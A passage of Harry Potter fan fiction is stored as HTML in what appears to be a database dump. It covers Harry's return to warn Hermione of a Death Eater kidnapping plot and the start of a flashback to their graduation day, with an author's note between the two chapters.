class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s supposed to make it okay?&#8221;\nshe asked. &#8220;That might have worked when we were kids, but we&#8217;re not children\nanymore. I deserve an explanation. I deserve an explanation for why you left\nand why you&#8217;ve come back.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;This isn&#8217;t easy for me, Hermione,&#8221;\nhe began to explain.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It isn&#8217;t supposed to be easy on\nyou, Harry,&#8221; she said. &#8220;Do you have any idea how much it hurt me, when I woke\nup that morning and you were gone? I thought that I had done something wrong.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You didn&#8217;t do anything wrong, Hermione,&#8221;\nhe said. &#8220;Will you please sit down, you&#8217;re making me nervous standing there.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Fine, I&#8217;ll sit,&#8221; she said, taking a\nseat on the couch. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay, where to start?&#8221; he asked,\nmore to himself than to her. &#8220;I explained to you as best I could in the letter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ah, yes, the letter,&#8221; she said.\n&#8220;The letter was all that I had. I didn&#8217;t want the letter, Harry. I wanted you.&#8221;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I didn&#8217;t want to leave you,\nHermione,&#8221; he said. &#8220;It was the only way. The line of work that I was getting\ninvolved in doesn&#8217;t exactly leave room for a social life, or a family. You have\nto make certain sacrifices in order to keep the people you love safe.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why does it always have to be you?\nWhy are you always the one who has to make the sacrifices? And why is it that\nyou didn&#8217;t ask me what I wanted before you decided how my life should be? You\ndidn&#8217;t just hurt me, Harry, when you left. Ron. He thinks of you like a\nbrother, you know. The Weasleys.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I didn&#8217;t ask for any of this you\nknow. I never wanted to be <i>The Boy Who Lived</i>.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I never said you did,&#8221; Hermione\nsaid. &#8220;I&#8217;m just saying that you have been trying to live up to that name ever\nsince I&#8217;ve known you. You always have to be the hero.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I do not always have to be the\nhero,&#8221; he said, getting up from the sofa. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, <i>you</i> do,&#8221; Hermione\nretorted, getting up to face him. She pointed her finger at him.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I do not,&#8221; he said. &#8220;Well, you,\nMiss Hermione Granger, always have to be right, don&#8217;t you? You can&#8217;t let\nsomeone else be right for once in your life?&#8221; He pointed back at her. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Get your finger out of my face,&#8221;\nshe said, her cheeks were red with anger. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Get your finger out of my face,&#8221; he\nsaid back. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They looked at each other, suddenly\nrealizing how ridiculous they sounded. </p>\n\n<p class="MsoNormal">They both began to\nlaugh. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Prat!&#8221; she said, between giggles.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Know-it-all!&#8221; he said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They both collapsed back onto the\ncouch, still laughing. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How can you do that?&#8221; she asked,\nfinally catching her breath. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do what?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Make me laugh and want to cry all\nat the same time,&#8221; she said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s a talent,&#8221; he said. &#8220;That&#8217;s\nactually what I&#8217;ve been doing the entire time I&#8217;ve been away. Perfecting that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, you do it very well,&#8221; she\nsaid. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re welcome.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;This is so weird,&#8221; Hermione said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Harry said. &#8220;It is.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Look, we can talk about what\nhappened between us at another time, Hermione,&#8221; Harry said, seriously. &#8220;I need\nto tell you why I&#8217;m really here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; she said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;ve heard that a group of Death\nEaters were caught recently in Australia?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; she said. &#8220;We heard all\nabout it. They were trying to take it over. They evacuated us from the building\nfor nearly four hours while they made sure things were safe. We didn&#8217;t know\nwhat they were trying to do, though.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;They were after you, Hermione,&#8221;\nHarry said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Me?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes. Apparently, when he was still\nalive, Lord Voldemort was very impressed with you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He&#8217;s not---,&#8221; Hermione began. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, no,&#8221; Harry said. &#8220;He&#8217;s still\ndead. He just told those closest to him that having your skill and intellect on\ntheir side would prove very beneficial. Anyway, the group heard about the\nresearch you&#8217;ve been doing at The Ministry. They wanted to kidnap you and steal\nthe research.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How did you find this out?&#8221;\nHermione said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We interrogated one of the suspects\nand offered him immunity in exchange for his cooperation and information. He\ntold us that the big plan was to kidnap you and Dumbledore and take over\nHogwarts and The Ministry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh my Lord,&#8221; Hermione said. &#8220;How\ncould they do that, though? Hogwarts is so guarded. There are a number of\nenchantments, spells, hexes&#8230;there&#8217;s no way to infiltrate the castle.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;They were going to use Dumbledore\nto do it,&#8221; Harry said. &#8220;They had planned to lure him away from Hogwarts to The\nMinistry. That&#8217;s all we know now. They have people stationed in both places,\nundercover. We don&#8217;t know who they are.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;This is too much to take,&#8221; Hermione\nsaid. &#8220;What are we going to do?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The main objective is to keep you\nsafe, Hermione,&#8221; he said. &#8220;We&#8217;re going to keep you on 24-hour surveillance.\nThey&#8217;ll have wizards, fellow aurors, watching the apartment house.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; she said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s going to be alright,\nHermione,&#8221; he said. &#8220;I&#8217;m not going to let anything happen to you. You trust me,\ndon&#8217;t you?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She didn&#8217;t respond. She seemed to be\nin shock, still trying to comprehend everything Harry had just told her. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You trust me, don&#8217;t you?&#8221; he asked\nagain.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hmmm?&#8221; she said, looking at him. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You trust me, don&#8217;t you, Hermione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, Harry,&#8221; she said, &#8220;I trust\nyou. I&#8217;d trust you with my life.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s good to hear,&#8221; he said.\n&#8220;Now, I think it&#8217;d be best if I stayed here tonight.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221; she said, rising again from\nthe couch. &#8220;I don&#8217;t really think that&#8217;s a good idea.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;On the couch,&#8221; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I still don&#8217;t know if that&#8217;s a good\nidea,&#8221; she said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione,&#8221; he said. &#8220;We don&#8217;t know\nwhat we&#8217;re up against. I&#8217;m going to keep you safe. To do that, I have to be\nwith you. I can&#8217;t do that shacked up in a room at The Leaky Cauldron.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She still looked unsure, but she\nstill managed to nod. &#8220;Okay. I, um, I&#8217;ll go and get you a blanket and a\npillow.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She smiled, nervously, and then went\nto the closet. She pulled down an extra blanket and pillow. She walked back\nover to Harry, </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Here you go,&#8221; she said. &#8220;Um, my\nbedroom is the um, second door on the right. The bathroom is the first door on\nthe right.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; he said. &#8220;Thank you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; she said. &#8220;Well, I better go\nand get some sleep. I have an early day tomorrow.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;<i>We </i>have an early day tomorrow,&#8221;\nhe corrected her. He gave her a reassuring smile. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay, <i>we </i>have an early day\ntomorrow,&#8221; she said. She turned to go to her bedroom, but stopped. She turned\nand looked at Harry. He&#8217;d begun to lie out the blanket and pillow on the couch.\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She couldn&#8217;t&#8217; believe this. She\ncouldn&#8217;t believe any of this. This all had to be a dream. But it was real. &nbsp;&nbsp;He\nwas real. He was back. She had an eerie feeling that nothing would ever be the\nsame again. Her world had proverbially been turned upside down. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">She\nwondered how she would ever be able to go to sleep now. Her life was in danger.\nHarry would be sleeping just a few feet away from her. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione?&#8221; he asked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hmmm?&#8221; she said, breaking away from\nher thoughts. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I thought you were going to sleep,&#8221;\nhe said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I was,&#8221; she said. &#8220;I mean, I am.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good night, then,&#8221; he said, lying\ndown on the sofa. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good night,&#8221; she said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n\n\n\n\n\n'),
	(255, 6, '\n\n\n\n<p class="MsoNormal">Author&#8217;s Note: <br>\nSorry it took so long for the update. Thanks for all the reviews. This one is a\nlittle long, but I hope you enjoy it. This is flashback of the Trio&#8217;s\nGraduation Night. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Flashback</p>\n\n<p class="MsoNormal">Graduation Day</p>\n\n<p class="MsoNormal">Hogwarts School\nof Witchcraft &amp; Wizardry &nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione Granger was pacing back\nand forth in the corridor just outside of Gryffindor Tower. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What am I going to do?&#8221; she\nwhispered softly to herself. &#8220;The ceremony is going to begin in less than 20\nminutes and I have no speech. Nothing. Zilch.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione?&#8221; a voice said from\nbehind. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She turned. Harry had just\nstepped out of the portrait hall. He was decked out in his dress robes for the\ngraduation ceremony. There was something different about him. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where are your glasses?&#8221; she\nasked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I need your help,&#8221; he said.\n&#8220;Neville stepped on them.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, you know the spell to fix\nthem, don&#8217;t you?&#8221; she asked, exasperated. &#8220;I&#8217;m kind of in a bit of a jam\nmyself, Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Can&#8217;t you help me out just one\nlast time?&#8221; he said, holding the broken glasses up to her. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, all right,&#8221; she said. She\npulled out her wand from her dress robes and gave it a wave and muttered a\nquick, &#8220;<i>Oculus Repairo</i>.&#8221; With that, his glasses were good as new. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;There you go,&#8221; she said. She\nresumed her pacing. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What are you doing?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m in the middle of a panic\nattack if you must know,&#8221; she said. &#8220;I have no speech.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nothing?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, that&#8217;s not entirely\ntrue,&#8221; she said. &#8220;I have a little something.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, let&#8217;s hear it,&#8221; Harry\nsaid. &#8220;Show me what you got.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good evening, ladies and\ngentlemen, friends and family and distinguished guests.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And?&#8221; Harry said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And that&#8217;s all I have,&#8221;\nHermione said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh,&#8221; he said. &#8220;Well, at least\nyou aren&#8217;t going to quote from <i>Hogwarts: A History</i>.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked down at her\nfeet. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione! You weren&#8217;t really\ngoing to quote from that, were you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, it&#8217;s all I had,&#8221; she\nsaid. &#8220;I&#8217;m desperate.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; he said. &#8220;You want help.\nHere you go. Don&#8217;t think so hard. I told you this the other night in the common\nroom. Just go up there and speak from your heart.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was going to say\nsomething in response to this, but Professor McGonagall came out of the\nportrait hole at that very minute. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Miss Granger,&#8221; she said. &#8220;You need\nto come with me. Potter, you need to go downstairs with the rest of your\nclassmates and get ready.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry nodded. &#8220;Good luck,\nHermione.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks,&#8221; she said, glumly. &#8220;I&#8217;m\ngonna need it.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ****************</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione felt like she was going\nto be sick. She&#8217;d never failed at anything in her life. She had a sinking\nfeeling in her stomach that she was about to do just that. She was sitting\nbeside Professor McGonagall awaiting her doom. She tried to focus and listen to\nProfessor Dumbledore&#8217;s speech, but she knew this 